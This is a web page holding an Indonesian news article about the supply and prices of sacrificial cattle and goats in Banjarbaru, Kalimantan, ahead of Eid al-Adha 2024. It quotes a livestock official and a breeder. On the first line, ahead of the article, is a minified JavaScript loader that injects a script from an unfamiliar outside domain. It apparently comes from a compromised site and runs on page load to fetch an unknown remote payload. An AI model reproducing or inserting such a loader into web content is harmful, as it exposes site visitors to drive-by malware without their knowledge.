(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ketersediaan Hewan Kurban di Banjarbaru Mencukupi, Sapi Ada 2.300 Ekor

KANALKALIMANTAN.COM, BANJARBARU – Ketersedian hewan sapi di Kota Banjarbaru Kalimantan Selatan (Kalsel) mencukupi untuk pelaksanaan ibadah kurban Idulaha 1445 hijriah yang tersisa kurang lebih sepekan.

Kepala Bidang (Kabid) Peternakan di Dinas Ketahanan Pangan, Pertanian, dan Perikanan (DKP3) Banjarbaru Banjarbaru, drh Yohana Kriswinantu menyebutkan, ketersediaan hewan sapi menjelang Iduladha terdata sebanyak 2.300 ekor.

“Dari data yang kami kumpulkan, baik dari masyarakat maupun pedagang, ketersediaan sapi menjelang kurban yakni untuk sapi sekitar 2.300 ekor, sedangkan kambing ada 1.800 ekor,” ujar drh Yohana Kriswinantu.

Stok angka itu kata Yohana, melebihi dari pembeli pada tahun 2023 lalu, dimana yang terdata ada 1.200 sapi dan kambing sekitar 700-an ekor yang dipotong.

“Jadi ketersediaan cukup saja,” ungkapnya.

Heru Akbar Safrin, peternak sapi. Foto: wanda

Sementara itu, salah satu peternak sapi di Banjarbaru, Heru Akbar Safrin mengaku menyediakan sekitar 800-an ekor sapi untuk hari raya kurban tahun ini.

“Harga kita jual dari Rp15 juta sampai Rp 24 juta, di bawah itu menawar juga bisa kita layani. Penjualan kurang lebih menjelang kurban ini per hari biasanya dapat 20 ekor, untuk sekitar Banjarbaru, Martapura sampai Banjarmasin,” ujar Heru Akbar Safrin saat ditemui, Jumat (7/6/2024) siang.

Menurutnya, ketersediaan sapi untuk kurban tahun ini menurun dibandingkan tahun lalu, dimana dirinya menyediakan sapi mencapai 1.000 ekor.

“Karena susah carinya, juga kita dari NTT dan NTB, kemudian kendala kapal yang antre banyak mau ngirim jadi kita kadang dapat giliran kadang enggak,” sebut dia.

Sampai hari ini, sebut Heri, stok sapi di kandangnya hanya tersisa dari 30-50 ekor.

Dia mulai akan mendistrbusikan sapi-sapi tersebut kepada pemesan mulai dari H-3 hari raya, bahkan di H+3 masih didistribusikan.

“Karena kita mengantar pas hari H maka kita include biaya kasih makan perawatan jadi untuk kurban agak mahal sedikit, tapi Alhamdulillah sudah diperiksa semua oleh dinas,” jelasnya.

Heri memastikan ratusan hewan ternak miliknya sudah dicek kesehatan oleh DKP3 Banjarbaru.

“Kalau sapi NTB ini kan sudah divaksin dari daerah asalnya, kalau sapi NTT vaksin setelah sampai di sini,” tuntas Heru. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie